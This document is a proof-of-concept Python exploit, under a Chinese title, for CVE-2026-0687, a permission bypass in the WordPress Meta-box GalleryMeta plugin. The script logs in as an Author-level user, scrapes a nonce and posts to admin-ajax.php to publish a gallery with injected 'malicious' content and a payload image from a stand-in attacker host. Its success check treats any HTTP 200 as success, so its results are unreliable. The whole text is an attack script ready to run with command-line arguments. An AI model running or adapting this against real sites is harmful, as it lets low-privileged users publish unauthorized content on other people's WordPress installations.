CVE-2026-0687 WordPress Meta-box GalleryMeta插件权限绕过漏洞

import requests import sys # CVE-2026-0687 PoC - WordPress Meta-box GalleryMeta Unauthorized Gallery Creation # Target: WordPress site with Meta-box GalleryMeta plugin <= 3.0.1 def create_malicious_gallery(target_url, username, password, gallery_title, gallery_content): """ Exploit for CVE-2026-0687 Creates and publishes a gallery without proper authorization check """ session = requests.Session() login_url = f"{target_url}/wp-login.php" # Step 1: Authenticate as Author-level user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Create mb_gallery post type without proper capability check create_url = f"{target_url}/wp-admin/admin-ajax.php" # First, create the gallery post nonce_response = session.get(f"{target_url}/wp-admin/post-new.php?post_type=mb_gallery") # Extract nonce from response import re nonce_match = re.search(r'wpAjax_nonce\s*=\s*"([a-f0-9]+)"', nonce_response.text) ajax_nonce = nonce_match.group(1) if nonce_match else '' # Create gallery post post_data = { 'action': 'save-post', 'post_type': 'mb_gallery', 'post_title': gallery_title, 'post_content': gallery_content, 'post_status': 'publish', '_ajax_nonce': ajax_nonce, 'mb_gallery_images': 'https://malicious-site.com/payload.jpg' } response = session.post(create_url, data=post_data) if 'success' in response.text or response.status_code == 200: print(f"[+] Malicious gallery created and published: {gallery_title}") return True else: print("[-] Failed to create gallery") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <gallery_title>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] title = sys.argv[4] create_malicious_gallery(target, user, pwd, title, 'Malicious content injected via CVE-2026-0687')